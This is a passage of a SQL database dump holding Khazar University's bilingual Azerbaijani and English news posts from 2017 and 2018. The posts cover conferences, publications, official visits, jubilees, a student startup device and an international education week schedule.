olduğu digər Erasmus Plus PAWER (Beynəlxalq mobilliyə cığır açmaq və hərtərəfli keyfiyyət, uyğunluq və bərabərliyin təminatı) layihəsi haqqında universitetin İnkişaf Mərkəzinin direktoru Raziyə İsayeva konfrans iştirakçılarına məlumat verdi.</p><p>Qeyd edək ki, tədbir layihədə həyata keçirilmiş işlərin geniş ictimaiyyətə çatdırılması məqsədini daşıyırdı. Konfransda Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Qərbi Kaspi Universiteti, Azərbaycan Texniki Universiteti, Azərbaycan Kooperasiya Universiteti, Bakı Slavyan Universiteti və Azərbaycan Dövlət Neft və Sənaye Universitetinin əməkdaşları da iştirak edirdilər.</p>'),(4427,2625,'en','INTERNATIONAL EDUCATION WEEK (November 13-17, 2017)','INTERNATIONAL AFFAIRS OFFICE IS HAPPY TO ANNOUNCE\r\nTHE INTERNATIONAL EDUCATION WEEK...','<p style=\"text-align:center\"><strong>INTERNATIONAL AFFAIRS OFFICE IS HAPPY TO ANNOUNCE</strong></p><p style=\"text-align:center\"><strong>THE INTERNATIONAL EDUCATION WEEK!</strong></p><p style=\"text-align:center\"><strong>Let’s celebrate the benefits of international education and exchange together! Join events to learn about studying abroad, become friends with international students of Khazar University, participate in a lecture by a Foreign Ambassador, and much more!&nbsp;</strong></p><p style=\"text-align:center\"><strong>E V E N T S</strong></p><p><strong>MONDAY, November 13, 2017</strong></p><p>Support Khazar\'s “The Chain” Team in Peer-to-Peer: Facebook Global Digital Challenge</p><p><strong>Place:</strong> Canteen, Neftchiler Campus</p><p><strong><br></strong></p><p><strong>TUESDAY, November 14, 2017</strong></p><p>Open Door Day at International Affairs Office</p><p><strong>Place: </strong>International Affairs Office, Neftchiler Campus, 5th floor, Room 512</p><p><strong><br></strong></p><p><strong>WEDNESDAY, November 15, 2017</strong></p><p>Study Abroad Info Session</p><p><strong>Place: </strong>TO BE ANNOUNCED</p><p><strong><br></strong></p><p><strong>THURSDAY, November 16, 2017</strong></p><p>Sessions on study abroad at 13:30</p><p>Two short back-to-back sessions:</p><p>1. EducationUSA: Study in the USA</p><p>2. Session on IELTS by British Council</p><p><strong>Place: </strong>206 (Old Building), Neftchiler Campus</p><p><strong><br></strong></p><p><strong>FRIDAY, November 17, 2017</strong></p><p>Lecture by <strong>Ambassador of Palestine</strong> (organized jointly with the Department of Political Science and International Relations) at 16:00</p><p><strong>Place: </strong>Conference Room 102N (New Building), Neftchiler Campus</p><p><br></p><p><strong style=\"color:#ff0000\">All events will be held in English, except the first event on Monday.</strong></p><p><strong>*Note* Exact times of the events will be announced.</strong></p><p><strong>For any questions please contact International Affairs Office (Neftchiler Campus, 5<sup>th</sup> floor, room 512)</strong></p><p><strong>+99412 421 79 16 (ext. 240)</strong></p><p><strong><span style=\"color:#0000cc;text-decoration:underline\">international@khazar.org</span></strong></p><p style=\"text-align:left\"><strong><span style=\"color:#0000cc;text-decoration:underline\"><br></span></strong></p>'),(4136,2417,'az','“Xəzər”də yeni dərs ili başladı','Sentyabrın 15-də Xəzər Universitetində yeni dərs ilinin başlanmasına həsr olunmuş mərasim keçirildi. Mərasimdə universitetin rəhbərliyi və əməkdaşları, universitetə yeni...','<p>Sentyabrın 15-də Xəzər Universitetində yeni dərs\r\nilinin başlanmasına həsr olunmuş mərasim keçirildi. Mərasimdə universitetin rəhbərliyi\r\nvə əməkdaşları, universitetə yeni qəbul olunmuş tələbələr və onların valideynləri\r\niştirak edirdilər. </p>\r\n<p>Mərasim Azərbaycan Dövlət Himninin ifası ilə\r\nbaşladı. Xəzər Universitetinin təsisçisi, Direktorlar və qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı çıxıç edərək, universitetə qəbul olunmuş gəncləri təbrik\r\netdi, universitetdə tələbələrin təhsili və mənəvi inkişafı üçün yaradılmış saf\r\nvə şəffaf mühitdən, universitetin uğurlarından, o cümlədən dünya universitetlərinin&nbsp; beynəlxalq reytinqlərində yer almasından\r\ndanışdı. Universitetin rektoru Dr. Hassan Niknafs da tələbələri təbrik etdi,\r\nonlara təhsillərində uğurlar arzuladı.</p>\r\n<p>H. İsaxanlı, H. Niknafs,&nbsp; İqtisadiyyat və menecment fakültəsinin dekanı\r\nCeyhun Məmmədov, Təhsil fakültəsinin dekanı Elza Səmədova və Humanitar və\r\nsosial elmlər fakültəsinin dekanı Cabir Xəlilov universitetə yüksək balla qəbul\r\nolunmuş tələbələrə tələbə bileti və hədiyyələr təqdim etdilər, onlarla xatirə şəkl\r\nçəkildi.</p>\r\n<p>Universitetə yeni qəbul olunmuş tələbələr adından Əli\r\nMəhərrəmov (malıyyə ixtisası) çıxış edərək, Xəzər Universitetində tələbələr\r\nüçün yaradılmış əlverişli şərait sayəsində yüksək ixtisaslı mütəxəssislər kimi\r\nyetişmək üçün ciddi səy göstərəcəklərini bildirdi.</p>\r\n<p>Universitetin Musiqi və incəsənət departamentinin\r\nhazırladığı konsertdə tələbə qızlar və oğlanlardan ibarət rəqs qrupları çıxış\r\netdilər, Azərbaycan Dövlət Akademik Opera və Balet Teatrının solisti,\r\nuniversitetin müəllimi Məhsəti Cabbarlının ifasında mahnılar səsləndi.</p>\r\n<p>Mərasim yeni qəbul olunmuş tələbələrin\r\nauditoriyalara dəvət olunması ilə başa çatdı. Auditoriyalarda onlar fakültə\r\ndekanları, departament müdirləri və əməkdaşlarla görüşdülər. Onlara təhsil\r\nalacaqları ixtisaslar haqqında ətraflı məlumat verildi və sualları cavablandırıldı.</p>'),(3582,2098,'az','Doktorantın növbəti məqaləsi çap olundu','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi Validə Kərimovanın (doktorant) “Diskursun tipoloji xüsusiyyətləri” (Typological characteristics...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi\r\nValidə Kərimovanın (doktorant) “Diskursun tipoloji xüsusiyyətləri” (<em>Typological characteristics of Discourse<em>”</em></em>) (ingiliscə) adlı elmi məqaləsi Azərbaycan\r\nRespublikası Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün\r\ntövsiyə edilən, Azərbaycan Dillər Universitetinin “Elmi xəbərlər” jurnalının\r\n2-ci buraxılışında çap edilmişdir. Məqalə diskursun müxtəlif növlərinin (qəzet,\r\nsiyasi, hüquqi, bədii, akademik və ya elmi və s.) praqmatik və koqnitiv\r\nperspektivləri nöqteyi-nəzərdən ifadəsini araşdırır. Araşdırma bunu göstərir\r\nki, dəlili olan asılılığın səbəbi diskursun (qəzet, siyasi, hüquqi, bədii,\r\nakademik və ya elmi və s.) əsas xarakterik cəhəti hesab edilir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Məqalənin tam şəkildə <a href=\"/files/pdf/events/meqale_ADU.PDF\">PDF</a>\r\nformatda burada oxumaq olar.</p>'),(3578,2088,'en','Scientific and Practical Conference on Comparative Literature and Culture','On April 20-21, 2017,a  scientific-practical conference entitled “Comparative Literature and Culture: Prototypes in Recycling Cultures and Cultural Genomes” was held at...','<p>On\r\nApril 20-21, 2017,a&nbsp; scientific-practical\r\nconference entitled “Comparative Literature and Culture: Prototypes in\r\nRecycling Cultures and Cultural Genomes” was held at “Nefchiler”<strong> </strong>campus of Khazar University with the coordination\r\nof Khazar University and Azerbaijan Comparative Literature Association.\r\nProfessor Hamlet Isakhanli, the founder of Khazar University and Chairman of\r\nits Board of Directors and Trustees, welcomed guests by opening the conference\r\nwith introductory remarks. Then, Professor Rehile Geybullayeva, the president\r\nof Azerbaijan Comparative Literature Association gave detailed information to\r\nthe guests about the conference. Later, lectures related to various spheres of\r\nliterature and culture were presented. Scientists from Finland, Turkey and\r\nRussia took part at the conference.</p>'),(3579,2092,'en','IV International Conference on Psychology ','On April 22-23, 2017, IV International Conference on Psychology was held at “Neftchiler” campus of Khazar University with the coordination of the University`s Psychology...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On April 22-23, 2017, IV International Conference on\r\nPsychology was held at&nbsp;“Neftchiler  ” campus of Khazar University with the\r\ncoordination of the University`s Psychology Department and Psychological\r\nCounseling Center. &nbsp;Participants included specialists from various regions of the country and\r\npeople who are interested in the related field. The conference was attractive\r\nto many participants because of the tightly interwoven practical and\r\ntheoretical knowledge it offers.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp; On April 22, the\r\nconference’s official opening was held and lectures were presented. On April\r\n23, the participants took part in the workshops.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Melek Karimova, Assistant Dean of the School of\r\nHumanities and Social Sciences as well as Director of Khazar Psychological\r\nServices Center, opened the conference and gave the floor to Professor Hamlet\r\nIsakhanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees. Then Prof. Dr. Ali Kemal Tekin from Oman took the\r\nfloor. During the conference, lectures were presented by local and Turkish\r\nguest psychologists and psychiatrists who spoke about various fields of\r\npsychology. &nbsp;Conference participants\r\nincluded Assistant Professor Dr. Ayten Zara, Istanbul Bilgi University; &nbsp;Pr.Dr. Ali Kemal Tekin, Sultan Qaboos\r\nUniversity, Head of the Department of Early Childhood Education, UNESCO\r\nConsultant; &nbsp;Pr.Dr. Yashar\r\nOzbay, Vice-rector of Hasan Kalyoncu University,&nbsp; academician at Black Sea Technical University\r\nand &nbsp;Pr. Dr. Burhanettin Kaya, an expert\r\non psychiatry in&nbsp; Medical Center for\r\nIndividual Therapy in Antalya. Associated Prof. Dr. Ayten Zara participated in\r\nthe conference with a 6- people team called “World Human Relief”. The members\r\nof this team Dilan Bozdagh, Seher Tarhan, Esra Zirhlioghlu, Tugce Merve Aytac,\r\nNarli Yildiz, and Kader Tarhan delivered their speeches.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The topics discussed during the conference included\r\ncauses and ways of preventing aggressive, antisocial, emotional behavioral\r\ndisorders in children, positive&nbsp; development\r\nand stability of family, sexual abuse and exploitation of children, trauma\r\nand&nbsp; using EMDR methods in disorders\r\nassociated with it.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">At the end of the conference, all the participants\r\nwere awarded a certificate. </p>\r\n<p>A concert program by\r\nDepartment of Music and Fine Arts&nbsp;was introduced to the conference\r\nparticipants.</p>'),(3580,2094,'en','Marmara Group Foundation General Manager at Khazar University','On April 24, 2017 Prof. Dr. Akkan Suver, General Manager of Marmara Group Foundation visited Khazar University. After greeting Hamlet Isakhanli, the founder of Khazar University...','<p>On April 24,\r\n2017 Prof. Dr. Akkan Suver, General Manager of Marmara Group Foundation visited\r\nKhazar University. After greeting Hamlet Isakhanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, gave thorough\r\ninformation about the university to Marmara Group Foundation General Manager.\r\nAkkan Suver expressed his satisfaction with his visit to Khazar University.\r\nHamlet Isakhanli presented to the guest the book “In Search of Khazar “which deals\r\nwith the history of Khazar University. The history of political and cultural\r\nrelations between Azerbaijan and Turkey, and other issues of mutual interest\r\nwere covered during the meeting.&nbsp;</p><p>Nailakhanim Isayeva, Advisor to the\r\nChairman and Founder of “Dunya” school and Alovsat Amirbayli , Director of Public\r\nRelations and Media, also participated in the meeting. </p>\r\n<p>Memory photos\r\nwere taken.&nbsp;</p>'),(3581,2096,'en','Routine Broadcast of Hamlet Isakhanli’s \"Triangle of Science\" Program','On April 23, 2017, the lecture of Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast on his “Triangle of...','<p>On April 23, 2017, the\r\nlecture of Professor Hamlet Isakhanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, was\r\nbroadcast on his “Triangle of Science” Program on Public TV. The lecture was\r\nentitled “The Role of Various Organizations in the Development of Science” (Throughout\r\nthe history and in the near future). Professional staff and teachers of Khazar\r\nUniversity participated in the program.</p>'),(4342,2573,'az','Tanınmış elm və sənət adamları yubilyarı təbrik etdilər','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubun 60 yaşı...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müdiri Vurğun Əyyubun 60 yaşı tamam olur. Bu münasibətlə Azərbaycanın bir sıra tanınmış elm, sənət, siyasət və s. adamları yubilyarı təbrik etmişlər. V.Əyyubu təbrik edənlər arasında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da var.</p><p>Təbrikləri bu linklər vasitəsilə oxumaq olar:</p><p><a href=\"http://xeber365.com/haber-vurgun-yyuba-sagliq---h-qiq-t-ucun-yanan-adam-16299.html\">http://xeber365.com/haber-vurgun-yyuba-sagliq---h-qiq-t-ucun-yanan-adam-16299.html</a></p><p><a href=\"http://www.xural.com/həqiqət-ucun-yanan-adam-vurgun-əyyub/\">http://www.xural.com/həqiqət-ucun-yanan-adam-vurgun-əyyub/</a></p>'),(4343,2574,'az','Erasmus+ layihəsi çərçivəsində növbəti konsorsium görüşü keçirilir','2017-ci il oktyabrın 25-də İvana Cavaxişvili Tbilisi Dövlət Universitetində “Universitetdə miqrasiya təhsilinin təşviqi”...','<p>2017-ci il oktyabrın 25-də İvana Cavaxişvili Tbilisi Dövlət Universitetində “Universitetdə miqrasiya təhsilinin təşviqi” Erasmus+ (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində növbəti konsorsium görüşü başladı. Görüşdə Xəzər Universiteti İnkişaf Mərkəzinin layihə meneceri Ülkər Bayramova ilə yanaşı, Avropadan Alikante Universiteti (İspaniya), Oldenburg Universiteti (Almaniya), WUS Austria (Avstiriya) təşkilatı, Tabeş Universiteti (Əfqanıstan), Gürcüstan universitetlərinin nümayəndələri də iştirak edirlər. İki gün davam edəcək görüşdə Tabeş Universitetində “İqtisadiyyat və miqrasiya təhsili” magistr ixtisasının yaradılması üçün görülən hazırlıqlar, layihənin keyfiyyətli idarə olunması və layihə qarşısında duran məsələlər müzakirə olunacaq, akademik heyət üçün təlimlər keçiriləcək.</p>'),(3583,2099,'az','Rektor Hassan Niknafs Rumıniyanın Azərbaycandakı səfiri ilə görüşdü','2017-ci il aprelin 26-da Xəzər Universitetinin rektoru Dr. Hassan Niknafs Rumıniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Dan İanku və Rumıniyanın Qadınlar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il\r\naprelin 26-da Xəzər Universitetinin<strong> </strong>rektoru Dr. Hassan Niknafs Rumıniyanın Azərbaycandakı Fövqəladə və\r\nSəlahiyyətli səfiri cənab Dan İanku və\r\nRumıniyanın Qadınlar və Kişilər Arasında Bərabər İmkanlar üzrə Milli\r\nAgentliyinin nümayəndəsi PhD Aurora Martin ilə görüşdü. Görüşdən\r\nsonra PhD Martin “Qlobalizasiya və insan alveri” mövzusunda məruzə ilə çıxış\r\netdi. Təqdimat Siyasi\r\nelm və beynəlxalq münasibətlər departamentinin təşkil etdiyi Jan Monne Avropa\r\nseminarlar silsiləsinin növbəti tədbiri idi.&nbsp;</p>'),(3584,2100,'az','Xəzər Universitetinin tələbəsi olimpiadanın final mərhələsinə yüksəldi','2017-ci il aprelin 16-da Azərbaycan Dövlət İqtisad Universitetində respublikanın ali məktəblərinin bakalavr və magistratura pillələrində təhsil alan tələbələri arasında ümummilli lider...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 16-da Azərbaycan Dövlət İqtisad Universitetində\r\nrespublikanın ali məktəblərinin bakalavr və magistratura pillələrində təhsil\r\nalan tələbələri arasında ümummilli lider Heydər Əliyevin xatirəsinə həsr\r\nolunmuş vergi olimpiadasının birinci mərhələsi keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Olimpiadada Xəzər Universiteti İqtisadiyyat\r\nvə menecment fakültəsinin tələbəsi Fazil Faiq oğlu Müzəffərov iştirak edərək, yaxşı\r\nnəticə göstərdi və final mərhələsində iştirak hüququ qazandı.&nbsp;</p>'),(3585,2099,'en','Hassan Niknafs Meets with Ambassador of Romania to Azerbaijan','On 26 April,  2017,   Dr. Hassan Niknafs, the rector of Khazar University met with Mr. Dan Ianku, Ambassador Extraordinary and Plenipotentiary of Romania to Azerbaijan and...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On 26 April, &nbsp;2017, &nbsp;&nbsp;Dr. Hassan Niknafs, the rector of Khazar\r\nUniversity met with Mr. Dan Ianku, Ambassador Extraordinary and Plenipotentiary\r\nof Romania to Azerbaijan and PhD Aurora Martin, the &nbsp;representative of National Agency of Romania\r\non Equal Opportunities Between Women and Men. After the meeting, PhD Martin gave\r\na presentation on “Globalization and human trafficking”. &nbsp;The presentation was the latest event in the\r\nseries of Jean Monnet European seminars held by the Department of Political\r\nScience and International Relations.</p>'),(3586,2098,'en','  The Next Article of PhD candidate Published','The article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled “Typological characteristics of...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The article\r\nof Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities\r\nand Social Sciences at Khazar University, entitled “Typological characteristics\r\nof Discourse” ( In English) was published in the 2nd&nbsp;issue of the\r\n“Scientific News” of Azerbaijan University of Languages which is recommended\r\nfor the periodic scientific publications of Higher Attestation Commission. The\r\npaper covers the issues related with different types (newspaper, political, legal,\r\nliterary, academic or scientific etc.) of discourse from pragmatic and\r\ncognitive perspective of the discourse participants.&nbsp; It reveals that characteristic feauture of newspaper,\r\npolitical, legal, literary, academic &nbsp;discourse is argumentation&nbsp; based on cause- effect relations.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Read the full\r\narticle here:&nbsp;<a href=\"http://www.khazar.org/files/pdf/events/meqale_ADU.PDF\">PDF</a>  </p>'),(4341,2572,'az','Arxeoloq Andreas Schacner ilə görüş keçirildi','2017-ci il oktyabrın 24-də Xəzər Universiteti Tarix və arxeologiya departamentinin təşəbbüsü ilə Təhsil fakültəsi tarix müəllimliyi...','<p>2017-ci il oktyabrın 24-də Xəzər Universiteti Tarix və arxeologiya departamentinin təşəbbüsü ilə Təhsil fakültəsi tarix müəllimliyi və ibtidai sinif müəllimliyi tələbələrinin “Qədim Şərq tarixi” dərsinə İstanbuldakı Alman Arxeologiya İnstitutunda Anadolu arxelogiyası və tarix öncəsi mədəniyyət sahələrində müəllim və Boğazköy-Hatuşa arxeoloji qazıntısının direktoru Andreas Schacner dəvət edildi. Görüşdə Xəzər Universitetinin rektoru Hassan Niknafs, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Tarix və arxeologiya departamentinin müdiri dosent Roza Arazova, müəllim Orxan Zamanov, AMEA Arxeologiya və Etnoqrafiya İnsititutunun elmi işçisi Ülviyyə Heydərova iştirak etdilər. Görüşü Roza Arazova açaraq, tələbələrə Andreas Schacneri təqdim etdi. Andreas Schacner tələbələrə Hititlərin paytaxı Hattuşa haqqında geniş məlumat verdi. Onun Hititlərin paytaxı Hatuşa haqqında göstərdiyi təqdimat tələbələrin böyük marağına səbəb oldu.</p><p>Təqdimatın sonunda Andreas Schacner tələbələrin suallarına cavab verdi. Sonda Roza Arazova qonağa Xəzər Universitetinin hədiyyəsini təqdim etdi və xatirə şəkili çəkildi.</p>'),(3587,2100,'en','Khazar University Student in the Final Stage of Olympiad','On 16 April 2017, the first round of Tax Olympiad, dedicated to the memory of national leader Heydar Aliyev, was held among undergraduate and graduate students of the Azerbaijani...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">On\r\n16 April 2017, the first round of Tax Olympiad, dedicated to the memory of\r\nnational leader Heydar Aliyev, was held among undergraduate and graduate\r\nstudents of the Azerbaijani higher education institutions in Azerbaijan State\r\nEconomic University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Fazil Faig Muzaffarov, the student of Economics\r\nand Management faculty of Khazar University successfully participated at the Olympiad\r\nand gained the right to the final round.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">In this regard, we congratulate and wish\r\nhim great success.</p>'),(6016,3434,'en','Panel discussion “A hundred year heritage: Caucasian Islamic Army” held at Khazar University','On September 18, 2018, on a joint collaboration of Yunus Emre Institute and Khazar University, a panel discussion...','<p>On September 18, 2018, on a joint collaboration of Yunus Emre Institute and Khazar University, a panel discussion “A hundred-year heritage: Caucasian Islamic Army”, dedicated to the 100<sup>th</sup> anniversary of the liberation of Baku from Armenian-Dashnaks by the Caucasian Islamic Army, was held in “Marble” hall of Khazar University. Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees; Mr Sayit Yusuf, Vice-president of Association of Turks Living Abroad and Union of Relatives; Ufuk Arja Turganer, representative of Northern Cyprus in Baku; Hamid Karadeniz, Press secretary of the Turkish Embassy; Murat Akkoch, Director of TRT Baku Representative Office; Roza Arazova, Head of the Department of History and Archaeology; Orkhan Zamanov, Ulviyya Ibrahimli, Samira Garayeva, Khazar University associates, as well as students majoring in History at Khazar University participated in the panel. Prof. Hamlet Isakhanli, Dr. Cihan Ozdemir, Director of Yunus Emre Institute, Dr. Telman Nusratoghlu, Instructor of the Department of History and Archaeology of Khazar University, delivered speeches on the structure of the Caucasian Islamic Army, its struggle until liberation of Baku, complicated geopolitical situation of that time and historical roots of brotherhood of Azerbaijan and Turkey.</p><p>The panel was widely covered by Turkish and Azeri media.</p>'),(5962,3407,'en','An article by Dr. Telman Nusretoghlu published in the newspaper “Türkiye”','On September 7, 2018, an article dealing with the current events in Syria, entitled \"Idlib knot and the...','<p>On September 7, 2018, an article dealing with the current events in Syria, entitled \"Idlib knot and the future of Syria\", authored by Dr. Telman Nusretoghlu, instructor of the Department of History and Archaeology of Khazar University, was published in the newspaper \"Türkiye\", one of the influential newspapers in Turkey.</p>\r\n<p>The article is available through the following link:</p><p><a href=\"http://www.turkiyegazetesi.com.tr/yazarlar/genis-aci-fikir-ve-tartisma/604056.aspx\">http://www.turkiyegazetesi.com.tr/yazarlar/genis-aci-fikir-ve-tartisma/604056.aspx</a>.<br></p>'),(3588,2101,'az','Elnurə Əzizovaya dosent diplomu təqdim olundu','2017-ci il aprelin 27-də Ali Attestasiya Komissiyasında Xəzər Universiteti Dillər və mədəniyyətlər departamentinin müdiri i.ü.f.d.  Elnurə Əzizovaya dosent diplomu təqdim...','<p>2017-ci il aprelin 27-də Ali Attestasiya\r\nKomissiyasında Xəzər Universiteti Dillər və mədəniyyətlər departamentinin müdiri\r\ni.ü.f.d.&nbsp; Elnurə\r\nƏzizovaya dosent diplomu təqdim olundu. </p>\r\n<p>Qeyd edək ki, Azərbaycan Respublikası Prezidenti\r\nyanında Ali Attestasiya Komissiyasının 10 mart 2017-ci il tarixli qərarı ilə Xəzər\r\nUniversiteti Dillər və mədəniyyətlər departmentinin müdiri i.ü.f.d. Elnurə Akif qızı Əzizovaya Dillər və mədəniyyətlər\r\nkafedrası üzrə dosent elmi adı verilmişdir.&nbsp;</p>'),(5242,3039,'en','Final presentation of startup project: Test of call alert sensor in a mobile phone','Final technical presentation on “GSM-900 module gas sensor mobile phone call alert”...','<p>Final technical presentation on “GSM-900 module gas sensor mobile phone call alert”, a startup project winner, was held at the Department of Electronics and Telecommunications on March 14, 2018. This product consists of GSM modules and sensors, controlled by microcontroller and is sensitive to a gas leak, and sends alert to a mobile phone. The Coordinator of the project is Nuru Safarov, Head of the Department of Electronics and Telecommunications. A team of 3 members, Mammad Alizadeh (Electronics Engineering), Adil Babayev (Electronics Engineering), and Laman Sefiyeva (Physics Teaching), worked on this project. The presentation was successful, and the new device is suitable for industrial and domestic use. The annunciator can be demonstrated in exhibitions where Khazar University participates. Moreover, inventors can offer the device to certain interested institutions.</p>'),(3589,2064,'en','Khazar Faculty Member’s Article Published in America','In March 2017, the article of Valida Kerimova, PhD candidate and Dean\'s assistant of School of Humanities and Social Sciences at Khazar University, entitled “Language Ethics...','<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">In March 2017, the article of Valida Kerimova,\r\nPhD candidate and Dean\'s assistant of School of Humanities and Social Sciences\r\nat Khazar University, entitled “Language Ethics: Linguo Psychology And\r\nPsycholinguistics; Analysis of The Language With Psychological Problems” was\r\npublished in the scientific journal \"Psychology and Behavioral\r\nSciences\" by the publishing house “Science Publishing Group”.</p>\r\n<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in;line-height:115%\"\"=\"\">The main objectives of the research work are\r\nto give brief information about schools and directions in psycholinguistics, to\r\ninvestigate the essence of language, its functions, principles and techniques, as\r\nwell as, provide brief and essential information to people on how to perceive,\r\ncomprehend and produce language. The article, analyzing the main concepts of\r\nthe fields of psychology and linguistics, covers language and speech pathology,\r\nlanguage psychology,language learning and behaviour, and &nbsp;&nbsp;cognitive sciences.</p>'),(3590,2097,'en','Jubilee Event at Khazar ','On April 24, 2017,  70th jubilee event of Roza Arazova, Head of the Department of  History and Archeology at Khazar University, was held. Roza Arazova has been working...','<p>&nbsp;On April 24, 2017, &nbsp;70th jubilee event of Roza Arazova, Head of\r\nthe Department of&nbsp; History and Archeology\r\nat Khazar University, was held. Roza Arazova has been working at Khazar\r\nUniversity since the very start of the university. </p>\r\n<p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman\r\nof its Board of Directors and Trustees, delivered a speech emphasizing Roza\r\nArazova’s immense effort on training high-level historians for years, and on &nbsp;growth of young teachers of the department as\r\nprofessionals, her attitude toward the students with all her strictness and\r\ngreat care, her winning the hearts of &nbsp;her\r\ncolleagues as an experienced pedagogue, sincere and attentive person. The\r\nFounder adressed his congratulations to&nbsp;\r\nRoza Arazova and wished her long life and success in her career. </p>\r\n<p>Hassan Niknafs, Rector of Khazar University; Mahammad Nuriyev, Vice-rector\r\nof Academic Affairs; Isakhan Isakhanli, Vice-rector of Management and Student\r\nAffairs; Nailakhanim Isayeva, &nbsp;the\r\nFounderof “Dunya” school; Jabir Khalilov, the Dean of Humanities and Social\r\nSciences Faculty; Firangiz Nasirova, Head teacher; &nbsp;Alovsat Amirbeyli, the Director of Public\r\nRelations and Media congratulated Roza Arazova and expressed their heartfelt\r\nwords. </p>\r\n<p>At the end, Roza Arazova expressed her gratitude to the management\r\nand participiants for organizing the event.&nbsp;<strong></strong></p>'),(3591,2102,'en','An Interactive Workshop on Philanthropy by an American Visiting Professor','On April 26, 2017, Khazar University hosted Dr. Noah D. Drezner of Columbia University at its Neftchiler campus.Dr. Noah D. Drezner known internationallyas a leading researcher on...','<p>On April 26, 2017, Khazar University hosted\r\nDr. Noah D. Drezner of Columbia\r\nUniversity at its Neftchiler campus.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"=\"\">Dr. Noah D. Drezner known internationallyas a leading researcher on educational\r\nphilanthropy, is an Associate Professor of Higher Education and Program\r\nDirector of theHigher and Postsecondary Education\r\nProgram at Teachers College, Columbia University,founding\r\neditor of Philanthropy &amp; Education\r\n(Indiana University Press), and Visiting Professorof\r\nEducation and Philanthropic Studies at Beijing Normal University.</p>\r\n<p>The interactive lecture entitled \"Making the Case for a Culture of Giving: Lessons\r\nfrom US Educational Philanthropy\" focused on how to develop and maintain\r\nrelationships between institutions that lead to alumni engagement and giving. &nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:14.4pt;background:white\"\"=\"\">The lecture was\r\nconducted for faculty and administrative staff members. Participants included:\r\nRaziya Isayeva, Development Director, Baba Bayramli, Director of\r\nAlumni Relations Office, Ulkar Bayramova, Project Manager and Lecturer,Milana\r\nAbbasova, Coordinator at the Department of English Language and Literature, &nbsp;Eynur Mehdiyev, Head of\r\nDepartment of English Language and Literature, Afaq Aslanova, Assistant\r\nat the Quality Assurance Department, Jeyhun Mammadov, Head of Department of Economics and\r\nManagement, Bahadur Baisal, Coordinator of Department of Economics and\r\nManagement, Sevinj Iskandarova, English language instructor, Sabina Alakbarli, Assistant\r\nat the Department of English Language and Literature, and Turan Jafarova,\r\nDirector of International Affairs Office.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:14.4pt;background:white\"\"=\"\">Dr. Noah is\r\nvisiting Azerbaijan through a program supported by the U.S. Embassy in Baku and\r\nwill deliver similar lectures in other universities in and outside of Baku.&nbsp;</p>'),(3592,2104,'az','Hamlet İsaxanlı abituriyentlərin nəticələrinə münasibət bildirdi','2017-ci il aprelin 27-də “Şərq” qəzetinin rəsmi internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il aprelin 27-də “Şərq” qəzetinin rəsmi internet 